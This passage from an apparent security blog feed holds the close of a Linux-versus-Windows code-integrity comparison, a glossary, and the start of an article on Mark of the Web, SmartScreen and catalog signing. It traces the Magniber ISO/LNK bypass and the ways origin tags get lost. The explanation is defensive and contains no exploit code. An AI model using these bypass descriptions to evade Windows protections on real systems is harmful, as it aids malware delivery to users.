Usually no, unless your distribution signs every system file (most do not for `imasig` in production) and you have a TPM-sealed EVM key. For general-purpose servers, fapolicyd with RPM-database trust is usually the right answer; it inherits trust from packages you already trust and does not require kernel-side signature infrastructure. Reserve IMA appraise for appliance / fixed-function builds, embedded distros, or fleets with a signed-package pipeline.

Path-based reasoning maps to how administrators think about confinement: &quot;this binary may read /etc/nginx, may write /var/log/nginx, may bind a network socket.&quot; SELinux&apos;s type-enforcement model is more expressive (it lets a single rule cover an entire class of objects across paths and bind mounts), but it requires the administrator to think in compiled-policy terms. Both are correct; pick the one whose mental model matches your team. The right answer on Ubuntu and SUSE is almost always AppArmor; the right answer on RHEL and Android is almost always SELinux.

No. Microsoft&apos;s block list [@learn-microsoft-com-bypass-appcontrol] grows whenever a new signed binary turns out to host an attacker-friendly evaluator. Treat WDAC as defence-in-depth, layered with HVCI and AMSI-as-telemetry, not as a single-point allowlist. The WDAC Wizard and AaronLocker projects automate keeping the deny set current; even with them, expect the deny set to evolve every quarter.

Yes. Enable it, but configure it as a telemetry source feeding Defender for Endpoint and any EDR pipeline you operate. The bypass family of Section 7 is real, but the un-bypassed case still catches the long tail of script-based attacks that do not bother defeating AMSI, and the bypass attempt itself is highly detectable (in-memory patch ETW events). Treat AMSI alerts as detective controls, not preventive controls.

On CPUs with Intel MBEC (Kaby Lake or newer) or AMD GMET (Zen 2 or newer) [@learn-microsoft-com-oem-vbs], the steady-state overhead is generally under 5 percent. On older CPUs that rely on the Restricted User Mode emulation path, kernel-bound workloads can see 10 to 20 percent regressions. Run your specific kernel-bound benchmarks on the actual hardware before enabling on a fleet with a mixed CPU generation; &quot;free&quot; is a Kaby Lake-and-newer claim.

Usually no. SAC auto-disables on enterprise-managed devices (Intune-enrolled, Azure AD-joined, or under Group Policy management) at the end of the 48-hour evaluation window unless the user explicitly opts in. The intended deployment model is that enterprises use full App Control with a managed-installer policy, not SAC. If SAC has already auto-disabled and you actually want it on, the only path to re-enable is a clean install of Windows. A Settings &amp;gt; Reset This PC does not bring it back.
&lt;p&gt;The two architectures answer the same question with different trade-offs. A practitioner in 2026 needs both maps, because the bypass that breaks the Linux side rarely looks like the bypass that breaks the Windows side, and the mitigation that fixes one is rarely the mitigation that fixes the other.&lt;/p&gt;
&lt;p&gt;What stays constant is the lesson the two lineages converged on over fifteen years: the trust boundary is the architecture. Move the verifier out of reach. Allowlist the producers. Treat the things that cannot be moved as telemetry, not as control. None of that closes Rice&apos;s wall, but all of it pushes the actual exploitable surface back another mile, on both operating systems.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;linux-ima-apparmor-vs-wdac-amsi-code-integrity-lineages&quot; keyTerms={[
  { term: &quot;IMA&quot;, definition: &quot;Linux Integrity Measurement Architecture. Hashes files at LSM hook points; can measure (record into TPM PCR 10), appraise (block on mismatch), or audit.&quot; },
  { term: &quot;EVM&quot;, definition: &quot;Extended Verification Module. HMACs (or signs) the security xattrs IMA depends on, so an offline attacker who rewrites security.ima cannot also forge security.evm.&quot; },
  { term: &quot;AppArmor&quot;, definition: &quot;Path-based Linux MAC, merged to mainline in 2.6.36 (Oct 2010). Default on Ubuntu and SUSE. Profiles are loaded from user space and compiled to in-kernel DFAs.&quot; },
  { term: &quot;SELinux&quot;, definition: &quot;Label-based Linux MAC merged to mainline in 2.6.0 (Dec 2003). Default on RHEL, Fedora, Oracle Linux, Android. Type-enforcement on subject x object x class.&quot; },
  { term: &quot;fapolicyd&quot;, definition: &quot;Red Hat userspace allowlister sitting on the fanotify permission channel. Trust inherited from the RPM database; rules in /etc/fapolicyd/rules.d/.&quot; },
  { term: &quot;fs-verity&quot;, definition: &quot;Per-file Merkle-tree authenticity, Linux 5.4 (Nov 2019). O(log n) per-page verification; constant-time digest retrieval; supported on ext4, f2fs, btrfs.&quot; },
  { term: &quot;IPE&quot;, definition: &quot;Integrity Policy Enforcement, Linux 6.12 (Nov 2024). Property-based decisions: dm-verity root hash, fs-verity digest, initramfs origin. O(1) per access.&quot; },
  { term: &quot;WDAC / App Control&quot;, definition: &quot;Windows code-integrity policy mechanism, originally Device Guard (Windows 10 1507). Signed XML compiled to .p7b, evaluated at PE load. Renamed App Control for Business in 2024.&quot; },
  { term: &quot;HVCI / Memory Integrity&quot;, definition: &quot;Hypervisor-Protected Code Integrity. Kernel-mode CI check moved into VTL1 of Hyper-V, isolated from the VTL0 normal kernel. Same mechanism marketed under three names.&quot; },
  { term: &quot;AMSI&quot;, definition: &quot;Antimalware Scan Interface. In-process script-broker COM API (AmsiScanBuffer) called by PowerShell, WSH, VBA, MSHTA, UAC installer, .NET. Provider is Defender by default.&quot; },
  { term: &quot;Smart App Control&quot;, definition: &quot;Consumer-facing pre-baked WDAC policy shipped with Windows 11 22H2. 48-hour evaluation window, one-way disable, cloud reputation via the Intelligent Security Graph.&quot; },
  { term: &quot;LSM&quot;, definition: &quot;Linux Security Modules. Kernel framework merged Dec 2003 that hosts security modules at well-defined hook points. Hosts SELinux, AppArmor, IMA, EVM, IPE, BPF LSM, Landlock.&quot; },
  { term: &quot;MAC&quot;, definition: &quot;Mandatory Access Control. Kernel-enforced policy layer above DAC that no userspace privilege can override; the operator, not the file owner, sets policy.&quot; },
  { term: &quot;TPM PCR 10&quot;, definition: &quot;The TPM Platform Configuration Register IMA extends file-content hashes into. Monotonic, extendable as PCR_new = SHA256(PCR_old || hash); used as the anchor for remote attestation.&quot; },
  { term: &quot;Authenticode&quot;, definition: &quot;Microsoft&apos;s PE signing format. Anchors WDAC&apos;s Publisher, PcaCertificate, and LeafCertificate rule kinds; signed catalogues (.cat) provide pre-computed hashes for catalogued files.&quot; },
  { term: &quot;LOLBin&quot;, definition: &quot;Living-Off-the-Land Binary. A trusted binary, often vendor-signed, repurposed by attackers to bypass an allowlist (e.g. mshta.exe evaluating an HTA blob).&quot; },
  { term: &quot;Constrained Language Mode&quot;, definition: &quot;Reduced PowerShell language mode App Control forces with UMCI on. Blocks reflection, dynamic-type creation, and arbitrary .NET API calls; restricts evaluation surface.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>security</category><category>linux</category><category>windows</category><category>code-integrity</category><category>mandatory-access-control</category><category>ima</category><category>wdac</category><category>amsi</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>Mark of the Web, SmartScreen, and the Catalog of Trust: How Windows Decides Whether to Warn You</title><link>https://paragmali.com/blog/mark-of-the-web-smartscreen-catalog-of-trust/</link><guid isPermaLink="true">https://paragmali.com/blog/mark-of-the-web-smartscreen-catalog-of-trust/</guid><description>How Windows stacks three trust layers -- origin, reputation, and signed catalog -- and why the 2022-2024 SmartScreen bypass arc was always a propagation bug, never a cryptography bug.</description><pubDate>Wed, 13 May 2026 00:00:00 GMT</pubDate><content:encoded>
Windows decides whether a file is safe to run by stacking three independent trust signals: **Mark of the Web** (an NTFS alternate data stream tagging where the file came from), **SmartScreen Application Reputation** (a cloud lookup against Microsoft&apos;s file-and-publisher telemetry), and **Authenticode catalog files** (PKCS#7 containers that vouch for the hashes of in-box and driver binaries). The 2022-2024 bypass arc -- seven Security Feature Bypass advisories from Magniber&apos;s malformed-Authenticode ransomware to Elastic&apos;s LNK-stomping disclosure -- proved that every break is a *propagation* or *parser* failure, never a cryptographic one. Smart App Control on Windows 11 22H2+ is Microsoft&apos;s synthesis: a code-integrity policy gated by the same reputation oracle SmartScreen uses, fail-closed by construction. Except it silently disables itself on devices whose telemetry suggests the user would override it anyway.
&lt;h2&gt;1. A Double-Click That Should Have Warned You&lt;/h2&gt;
&lt;p&gt;It is October 2022. A user receives an email that looks like a shipping notice from a familiar vendor. They click the attachment, which is a &lt;code&gt;.iso&lt;/code&gt; file. Microsoft Edge dutifully saves the download to disk and writes Mark of the Web onto it. They double-click the ISO. Windows Explorer mounts it as a virtual drive letter. They double-click a &lt;code&gt;.lnk&lt;/code&gt; file inside. A JScript payload runs. Magniber ransomware encrypts their files.&lt;/p&gt;
&lt;p&gt;The Attachment Execution Service was registered. SmartScreen was enabled. Microsoft Defender was up to date. &lt;em&gt;Nothing warned them.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;A few weeks later this would be catalogued as CVE-2022-41091 [@nvd-nist-gov-2022-41091] and patched on Microsoft&apos;s November 2022 Patch Tuesday, the same day CISA added it to the Known Exploited Vulnerabilities catalog [@cisa-gov-vulnerabilities-catalog]. The root cause was small enough to fit in a sentence: when Explorer mounted the ISO as a virtual drive, the files visible through that mount inherited &lt;em&gt;no&lt;/em&gt; &lt;code&gt;Zone.Identifier&lt;/code&gt; alternate data stream from the parent container, so the Attachment Execution Service had nothing to react to and SmartScreen was never invoked. The trust chain broke at a propagator, not at a cipher.&lt;/p&gt;

sequenceDiagram
    participant User
    participant Edge
    participant Explorer
    participant ISOmount as ISO mount
    participant LNK
    participant JScript
    participant AES as Attachment Execution Service
    participant SS as SmartScreen
    User-&amp;gt;&amp;gt;Edge: Click email attachment
    Edge-&amp;gt;&amp;gt;Edge: Save .iso, write Zone.Identifier ADS
    Edge-&amp;gt;&amp;gt;SS: Reputation check on .iso
    SS--&amp;gt;&amp;gt;Edge: Unknown, two-stage prompt
    User-&amp;gt;&amp;gt;Explorer: Double-click .iso
    Explorer-&amp;gt;&amp;gt;ISOmount: Mount as virtual drive
    Note over ISOmount: MOTW NOT propagated to mounted files (CVE-2022-41091)
    User-&amp;gt;&amp;gt;LNK: Double-click .lnk inside mount
    LNK-&amp;gt;&amp;gt;AES: launch target
    AES--&amp;gt;&amp;gt;AES: No Zone.Identifier present
    Note over AES,SS: SmartScreen NEVER invoked
    AES-&amp;gt;&amp;gt;JScript: Run payload
    JScript-&amp;gt;&amp;gt;User: Magniber encrypts files
&lt;p&gt;The point of this article is that the Magniber chain is one of seven Security Feature Bypass advisories in a two-year arc that together describe how Windows answers a deceptively simple question: &lt;em&gt;is it safe to run this file?&lt;/em&gt; The answer, when you take it apart, is three independent decisions stacked on top of each other. The first decision asks the file system &lt;em&gt;where did this come from?&lt;/em&gt; and is answered by Mark of the Web. The second decision asks the cloud &lt;em&gt;what does the world think of this?&lt;/em&gt; and is answered by SmartScreen Application Reputation. The third decision asks a signed catalog &lt;em&gt;is this file&apos;s hash vouched for by a publisher Microsoft trusts?&lt;/em&gt; and is answered by Authenticode and the catalog files in &lt;code&gt;CatRoot&lt;/code&gt;.&lt;/p&gt;

A piece of metadata that records the origin of a file Windows did not produce itself. Originally a `` HTML comment recognised from Internet Explorer 4 (1997) and auto-written by Internet Explorer&apos;s Save As path from Internet Explorer 5 (1999), MOTW has lived since Windows XP SP2 as an NTFS alternate data stream named `Zone.Identifier` containing an INI-style `[ZoneTransfer]` block. Its only job is to let downstream consumers (SmartScreen, Office Protected View, the Attachment Manager) know that a file came from outside the local machine. It is a hint, not a cryptographic origin proof.
&lt;p&gt;Each of those three layers has a different failure mode. The 2022-2024 bypass arc weaponised one of those failure modes per year. CVE-2022-41091 was a &lt;em&gt;propagation&lt;/em&gt; failure in the origin layer. CVE-2022-44698 [@nvd-nist-gov-2022-44698] was a &lt;em&gt;parse&lt;/em&gt; failure in the reputation layer. CVE-2023-36025 was a &lt;em&gt;prompt-not-invoked&lt;/em&gt; failure in the shortcut-handling code that fronts the reputation layer. Each one tells you something about which layer was supposed to fire and didn&apos;t.&lt;/p&gt;
&lt;p&gt;Where this is headed: by the end of the article you should be able to draw the three layers from memory, name the propagator path that failed in each CVE, and predict where the next bypass will land. The structure is historical and then synthetic. We will trace MOTW from a 1997 HTML comment to the modern NTFS stream, follow SmartScreen from a 2006 phishing list to a kernel-adjacent execution gate, watch Authenticode catalogs go from a 2000 driver-signing convenience to the off-line trust root that survives SmartScreen outages, and then put the three back together inside Smart App Control on Windows 11. The 2022-2024 CVE arc is the thread that holds the narrative together because every advisory in it is a propagator break, and a propagator break is exactly what the three-layer architecture is designed not to tolerate.&lt;/p&gt;
&lt;h2&gt;2. &quot;Saved From URL&quot;: The Origin Tag Before It Was a Stream&lt;/h2&gt;
&lt;p&gt;Mark of the Web began life as a single HTML comment that Microsoft Learn&apos;s compatibility note [@learn-microsoft-com-compatibility-ms537628vvs85]) dates to &lt;em&gt;&quot;recognized starting with Microsoft Internet Explorer 4.0&quot;&lt;/em&gt; (September 1997). Internet Explorer 5 (March 1999) was the first IE release whose Save As path &lt;em&gt;auto-wrote&lt;/em&gt; the comment; IE4 was the first to &lt;em&gt;recognise&lt;/em&gt; it. The comment looked like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- saved from url=(NNNN)... --&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The number in parentheses is the length of the URL, in characters. The whole comment had to appear in the first 2,048 bytes of a locally saved HTML file. The token &lt;code&gt;about:internet&lt;/code&gt; is the documented placeholder for the generic Internet zone, used when the original URL is not available. If Internet Explorer found such a comment there on open, IE pretended the file had come from that URL rather than from the local file system. The full Microsoft Learn lineage continues: &lt;em&gt;&quot;Beginning with Microsoft Internet Explorer 6 for Windows XP Service Pack 2 (SP2), you can also add the comment to multipart HTML (MHT) files and to XML files.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;That sounds like a small detail. It was a defensive patch on a much bigger architectural decision. Alongside it, with Internet Explorer 4.0 in 1997, Microsoft had introduced the URLZONE enumeration [@learn-microsoft-com-apis-ms537175vvs85]) -- a small integer table whose five named defaults put every URL into one of five buckets. The buckets are still in &lt;code&gt;urlmon.h&lt;/code&gt; today:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;right&quot;&gt;Value&lt;/th&gt;
&lt;th&gt;Constant&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;0&lt;/td&gt;
&lt;td&gt;&lt;code&gt;URLZONE_LOCAL_MACHINE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The local machine itself (&lt;code&gt;file://&lt;/code&gt;, in-process resources)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;
&lt;td&gt;&lt;code&gt;URLZONE_INTRANET&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The corporate intranet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;URLZONE_TRUSTED&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The user-configured Trusted Sites list&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;URLZONE_INTERNET&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The public Internet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;4&lt;/td&gt;
&lt;td&gt;&lt;code&gt;URLZONE_UNTRUSTED&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The user-configured Restricted Sites list&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

A five-value default enumeration introduced in Internet Explorer 4.0 (1997) that assigns a single integer to every fully qualified URL. The five named constants (`URLZONE_LOCAL_MACHINE`=0 through `URLZONE_UNTRUSTED`=4) occupy the predefined range `URLZONE_PREDEFINED_MIN`=0 to `URLZONE_PREDEFINED_MAX`=999; administrator- or IE-configured custom zones can occupy the reserved `URLZONE_USER_MIN`=1000 to `URLZONE_USER_MAX`=10000 range. In practice all observed downstream consumers key on the five defaults. Every later Windows trust signal -- MOTW, SmartScreen, Smart App Control -- ultimately resolves a file to one of these integers via the IInternetSecurityManager::MapUrlToZone API [@learn-microsoft-com-apis-ms537133vvs85]). &quot;Zone 3&quot; and &quot;Internet Zone&quot; are the vocabulary every later layer inherits.
&lt;p&gt;The asymmetry that mattered was zone 0. Content loaded from the Local Machine Zone got the most-privileged ActiveX, scripting, and cross-frame policy Microsoft documented [@learn-microsoft-com-apis-ms537183vvs85]) for any of the five zones. So if an attacker could get an HTML page onto your disk and trick you into opening it locally, that page ran with strictly more authority than the same page would have had if served from &lt;code&gt;attacker.example&lt;/code&gt;. The whole MOTW HTML comment exists to undo that gift: it told IE &lt;em&gt;&quot;treat this saved page as if it came from the originating Internet URL, not from &lt;code&gt;file://&lt;/code&gt;.&quot;&lt;/em&gt;The Internet Zone (&lt;code&gt;ZoneId=3&lt;/code&gt;) is the only &lt;code&gt;URLZONE&lt;/code&gt; value that uniformly triggers downstream consumers like SmartScreen, Office Protected View, and the Attachment Manager. Files marked &lt;code&gt;ZoneId=2&lt;/code&gt; (Trusted) bypass the prompt, an asymmetry that has its own history of social-engineering misuse over the years.&lt;/p&gt;
&lt;h3&gt;From HTML comment to NTFS stream&lt;/h3&gt;
&lt;p&gt;The HTML-comment form had one structural problem: it only worked for HTML. By 2003, the dominant delivery formats were &lt;code&gt;.exe&lt;/code&gt;, &lt;code&gt;.zip&lt;/code&gt;, &lt;code&gt;.doc&lt;/code&gt;, and &lt;code&gt;.scr&lt;/code&gt; -- formats with no obvious place to carry a comment that survived round-trips through editors and archivers. The 2004 Attachment Manager documentation [@support-microsoft-com-ee9b-cd795ae42738] records the Windows XP SP2 response: move the origin tag out-of-band, into an NTFS alternate data stream that any process could read by appending &lt;code&gt;:Zone.Identifier:$DATA&lt;/code&gt; to the file path.&lt;/p&gt;

An NTFS feature that lets a file carry multiple named secondary data streams in addition to its primary content. Streams are addressed with the syntax `filename:streamname:type`. A file `payload.exe` can have a sidecar stream `payload.exe:Zone.Identifier:$DATA` that any process with read access to the file can open. Streams are invisible to most ordinary tools (`dir`, copy-paste through Windows Explorer between NTFS volumes preserves them; copies onto FAT/exFAT lose them silently).
&lt;p&gt;The MS-FSCC Zone.Identifier reference [@learn-microsoft-com-8c39-2516a9df36e8] is the normative description: &lt;em&gt;&quot;Windows Internet Explorer uses the stream name Zone.Identifier for storage of URL security zones. The fully qualified form is sample.txt:Zone.Identifier:$DATA. The stream is a simple text stream of the form: [ZoneTransfer] ZoneId=3.&quot;&lt;/em&gt; The whole protocol is one INI block in UTF-16 LE. Read the stream, parse the integer, you have the zone.&lt;/p&gt;
&lt;p&gt;Three things shipped together in XP SP2 in August 2004 and are still the load-bearing primitives in Windows 11 today. They are worth listing as a set because every later trust mechanism consumes them:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The Attachment Execution Service.&lt;/strong&gt; An OS service that intercepts file launches initiated by browsers, mail clients, and IM apps. It looks up the file&apos;s &lt;code&gt;Zone.Identifier&lt;/code&gt;, decides which per-zone policy applies, and either runs the file silently, prompts the user, or refuses.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The &lt;code&gt;Zone.Identifier&lt;/code&gt; stream itself.&lt;/strong&gt; The INI block above, written by any &quot;quarantine-aware&quot; downloader (IE6, then Edge, Outlook, OneDrive, Teams; later 7-Zip, WinRAR, and most major third-party tools).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The &lt;code&gt;IZoneIdentifier&lt;/code&gt; [@learn-microsoft-com-apis-ms537032vvs85]) COM interface.&lt;/strong&gt; The supported programmatic read/write surface for the stream, in &lt;code&gt;urlmon.h&lt;/code&gt; / &lt;code&gt;urlmon.dll&lt;/code&gt;. Microsoft Learn dates it: &lt;em&gt;&quot;The IZoneIdentifier interface was introduced in Microsoft Internet Explorer 6 for Windows XP Service Pack 2 (SP2).&quot;&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;

The Windows OS service introduced in XP SP2 (2004) that intercepts file launches initiated by browsers, mail clients, and other registered &quot;trust-aware&quot; callers. It reads the file&apos;s `Zone.Identifier` ADS via the Shell COM surface and applies per-zone policy: launch silently, prompt the user with the Attachment Manager dialog, or refuse. SmartScreen integrates as a consumer of the Attachment Execution Service on Windows 8 and later.
&lt;p&gt;The Internet Explorer 6 update of 2004 was the first to write the ADS on download. Later releases of IE (7, 8, 9, 10) added the &lt;code&gt;IZoneIdentifier2&lt;/code&gt; interface with new keys -- &lt;code&gt;AppDefinedZoneId&lt;/code&gt; and &lt;code&gt;LastWriterPackageFamilyName&lt;/code&gt; [@learn-microsoft-com-apis-mt243886vvs85]) -- and a fully populated stream from a 2025-era Edge download looks like this:The &lt;code&gt;LastWriterPackageFamilyName&lt;/code&gt; field is how downstream consumers know which AppContainer wrote the ADS, which the Office macro-blocking logic uses to differentiate, for example, &quot;this file was downloaded by Edge&quot; from &quot;this file was extracted by an unspecified archiver.&quot;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[ZoneTransfer]
ZoneId=3
ReferrerUrl=&amp;lt;origin page URL&amp;gt;
HostUrl=&amp;lt;payload URL&amp;gt;
LastWriterPackageFamilyName=Microsoft.MicrosoftEdge_8wekyb3d8bbwe
AppZoneId=3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That seemingly minor &lt;code&gt;[ZoneTransfer] ZoneId=3&lt;/code&gt; integer is the input to every higher-level trust decision Windows makes about a downloaded file for the next two decades. Office&apos;s default blocking of macros from internet-zone files [@learn-microsoft-com-macros-blocked] operationally consumes this same &lt;code&gt;ZoneId=3&lt;/code&gt;. SmartScreen consumes it. WDAC + ISG consumes it. Smart App Control consumes it. Five integers and a sidecar stream, and Windows has a story for &quot;where did this come from?&quot;&lt;/p&gt;
&lt;p&gt;What it does not have yet, in 2004, is a story for &quot;what does the world think of this file?&quot; The next several years are the history of that second question.&lt;/p&gt;
&lt;h2&gt;3. What Failed Before: HTML Comments, Block Lists, and the Limits of Static Knowledge&lt;/h2&gt;
&lt;p&gt;Two early attempts at &quot;is this file safe?&quot; failed in instructive ways. Both put the answer either &lt;em&gt;inside&lt;/em&gt; the file or &lt;em&gt;inside&lt;/em&gt; a static list, and attackers moved faster than either could update.&lt;/p&gt;
&lt;h3&gt;The in-band tag&lt;/h3&gt;
&lt;p&gt;The HTML-comment MOTW of 1999-2003 was the first attempt. It worked, narrowly, for the one attack it was built to stop: a saved HTML page that ran with Local-Machine-Zone trust. But it had three structural failings the moment you stepped outside HTML.&lt;/p&gt;
&lt;p&gt;First, it was &lt;em&gt;in-band&lt;/em&gt;. Any text editor or third-party HTML processor that did not understand the comment convention would happily strip it as whitespace. A &lt;code&gt;.zip&lt;/code&gt; extraction tool that round-tripped through a temp file lost it. So did a &quot;Save As&quot; path through a non-IE browser. The whole protocol depended on every reader of HTML preserving a comment that looked, to anyone unfamiliar, like noise.&lt;/p&gt;
&lt;p&gt;Second, it was &lt;em&gt;format-specific&lt;/em&gt;. The attack vector by 2002 had moved to &lt;code&gt;.exe&lt;/code&gt;, &lt;code&gt;.scr&lt;/code&gt;, &lt;code&gt;.com&lt;/code&gt;, and the Office macro formats. None of these had a sanctioned place to carry an origin annotation. You could embed something in a custom resource section, but readers and writers of the file format would not preserve it.&lt;/p&gt;
&lt;p&gt;Third, it was &lt;em&gt;consumer-specific&lt;/em&gt;. Only Internet Explorer (and, briefly, Outlook through its HTML rendering) knew to look for the comment. A user who opened the file in Word, Excel, a third-party HTML editor, or a &lt;code&gt;.htm&lt;/code&gt;-handling email client got no benefit. The XP SP2 NTFS-ADS move solved all three problems at once: out-of-band (no in-band parser conflicts), format-agnostic (every file type can carry an ADS), and consumer-agnostic (any code path that knows to ask can read the stream).&lt;/p&gt;
&lt;h3&gt;The static block list&lt;/h3&gt;
&lt;p&gt;The other pre-modern attempt was the IE7 Phishing Filter [@learn-microsoft-com-defender-smartscreen], which shipped with Internet Explorer 7 on October 18, 2006 [@en-wikipedia-org-wiki-internetexplorer7]. The Microsoft Defender SmartScreen overview page on Microsoft Learn dates the SmartScreen lineage back to that period (the original blog posts are no longer at stable URLs, but the lineage statement on the live overview page is the canonical reference). The IE7 design was a daily-refreshed list of known-bad URLs plus a small set of heuristics on URL structure that would catch obvious phishing patterns inline.&lt;/p&gt;
&lt;p&gt;It was the right instinct and the wrong primitive. &lt;em&gt;Daily-refreshed&lt;/em&gt; fell catastrophically against fast-flux DNS, which rotated phishing domains every few minutes. &lt;em&gt;URL-only&lt;/em&gt; meant the filter had no opinion about a file you had already downloaded, since downloads were addressed by URL only until the file arrived on disk. By 2008 attackers had taught the system that the URL was not the right key. The right key was the &lt;em&gt;file&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;That insight, attributed contemporaneously to the IE8 and IE9 program-management teams (Eric Lawrence&apos;s IEInternals-era writing is the most-cited surviving record), became the IE8 SmartScreen Filter [@learn-microsoft-com-defender-smartscreen] when Internet Explorer 8 shipped on March 19, 2009 [@en-wikipedia-org-wiki-internetexplorer8] and then SmartScreen Application Reputation [@elastic-co-app-control] in Internet Explorer 9 (announced 2010, shipped March 14, 2011) [@en-wikipedia-org-wiki-internetexplorer9]. The Elastic Security Labs writeup &lt;em&gt;Dismantling Smart App Control&lt;/em&gt; [@elastic-co-app-control] puts the historical pivot in one sentence: &lt;em&gt;&quot;Microsoft SmartScreen has been a built-in OS feature since Windows 8.&quot;&lt;/em&gt; What Windows 8 did in October 2012 was move the SmartScreen check out of Internet Explorer entirely and into the Shell&apos;s &lt;code&gt;IAttachmentExecute&lt;/code&gt; execute path, so any file with &lt;code&gt;Zone.Identifier:ZoneId=3&lt;/code&gt; got a reputation check at launch time, regardless of which browser had downloaded it.&lt;/p&gt;
&lt;p&gt;The generational shift that matters is not the move into the Shell, though. It is the move from &quot;is this &lt;em&gt;URL&lt;/em&gt; on a list?&quot; to &quot;what is this &lt;em&gt;file&lt;/em&gt;&apos;s prevalence and publisher reputation across our global telemetry?&quot; That is a different question with a different answer, and it required a different machine.&lt;/p&gt;

A pure file-hash reputation system has an obvious cold-start problem. Every brand-new build of legitimate software has a brand-new hash. If the only knob is &quot;have we seen this hash before?&quot;, every legitimate first-day install triggers a warning, and over time users learn to click through warnings reflexively. Add a *publisher* signal -- the Authenticode certificate the file is signed with -- and the reputation system can carry confidence forward across builds: a publisher who has signed thousands of well-reputed binaries gets the benefit of the doubt on the next build, before any individual hash has accumulated telemetry. The publisher signal does for files what TLS server certificates do for URLs: it lets the system attribute behaviour to a long-lived identity rather than to ephemeral content.
&lt;p&gt;Microsoft already had a publisher signal in 1996 -- Authenticode [@en-wikipedia-org-wiki-codesigning], the PE-embedded code-signing scheme that shipped with Internet Explorer 3 in August 1996 [@en-wikipedia-org-wiki-internetexplorer3] and is formally specified by the 2008 &lt;em&gt;Windows Authenticode Portable Executable Signature Format&lt;/em&gt; [@download-microsoft-com-d599bac8184a-authenticodepedocx]. And it already had a way to vouch for many files at once -- catalog files, the &lt;code&gt;.cat&lt;/code&gt; format that had shipped with Windows 2000 for driver-package signing. The next generation of file trust would weave all three signals together. Origin from MOTW. Reputation from SmartScreen. Publisher attestation from Authenticode and catalogs. That weave is the subject of the next section, and it is, finally, where the 2022-2024 CVEs land.&lt;/p&gt;
&lt;h2&gt;4. The Evolution, Generation by Generation&lt;/h2&gt;
&lt;p&gt;Each generation of Windows file trust was forced into existence by a specific failure of the previous one. The evolution was not planned. It was driven by attackers.&lt;/p&gt;

flowchart LR
    G0[&quot;Gen 0 (1999-2003) -- HTML-comment MOTW -- + Local Machine Zone&quot;]
    G1[&quot;Gen 1 (2004-2009) -- NTFS Zone.Identifier ADS -- + Attachment Execution Service&quot;]
    G2[&quot;Gen 2 (2009-2018) -- SmartScreen App Reputation -- cloud lookup + 2-stage UX&quot;]
    G3[&quot;Gen 3 (2018-2024+) -- MOTW propagation hardening -- + catalogs + Smart App Control&quot;]
    G0 --&amp;gt;|&quot;format-specific, -- trivially stripped&quot;| G1
    G1 --&amp;gt;|&quot;binary tag, -- no graduated score&quot;| G2
    G2 --&amp;gt;|&quot;fail-open on -- parse error&quot;| G3
    G3 --&amp;gt;|&quot;propagator gaps -- still active&quot;| G3
&lt;h3&gt;Generation 1 (2004-2009): the NTFS Zone.Identifier ADS&lt;/h3&gt;
&lt;p&gt;The insight was that the origin tag should be out-of-band. The mechanism was three primitives shipped together in XP SP2: the &lt;code&gt;[ZoneTransfer]&lt;/code&gt; INI block in the &lt;code&gt;Zone.Identifier&lt;/code&gt; stream, the &lt;code&gt;IZoneIdentifier&lt;/code&gt; / &lt;code&gt;IAttachmentExecute&lt;/code&gt; COM surface, and the Attachment Execution Service. The Outflank red-team writeup &lt;em&gt;Mark-of-the-Web from a Red Team Perspective&lt;/em&gt; [@outflank-nl-teams-perspective] -- published in March 2020 and widely treated as the canonical pre-CVE documentary record of Generation 1&apos;s failure modes -- enumerates what Generation 1 could and could not do.&lt;/p&gt;
&lt;p&gt;What it could do: survive copies through Windows Explorer between NTFS volumes, identify the originating zone integer, and trigger the Attachment Manager prompt for executable launches.&lt;/p&gt;
&lt;p&gt;What it could not do: distinguish the 40-millionth download of Adobe Reader from the first-ever download of &lt;code&gt;flash-update.exe&lt;/code&gt;. A binary &quot;Internet zone, yes or no&quot; tag has no opinion about the file&apos;s reputation. It also could not survive copies onto FAT or exFAT, did not survive most archiver extractions in the 2010s, and was trivially stripped by any user-mode process via &lt;code&gt;DeleteFile&lt;/code&gt; [@learn-microsoft-com-fileapi-deletefilew] on the ADS name. The Outflank post enumerated the operational gaps and the SANS Internet Storm Center diary by Didier Stevens [@isc-sans-edu-diary-28810] operationalised the test case for 7-Zip specifically.&lt;/p&gt;
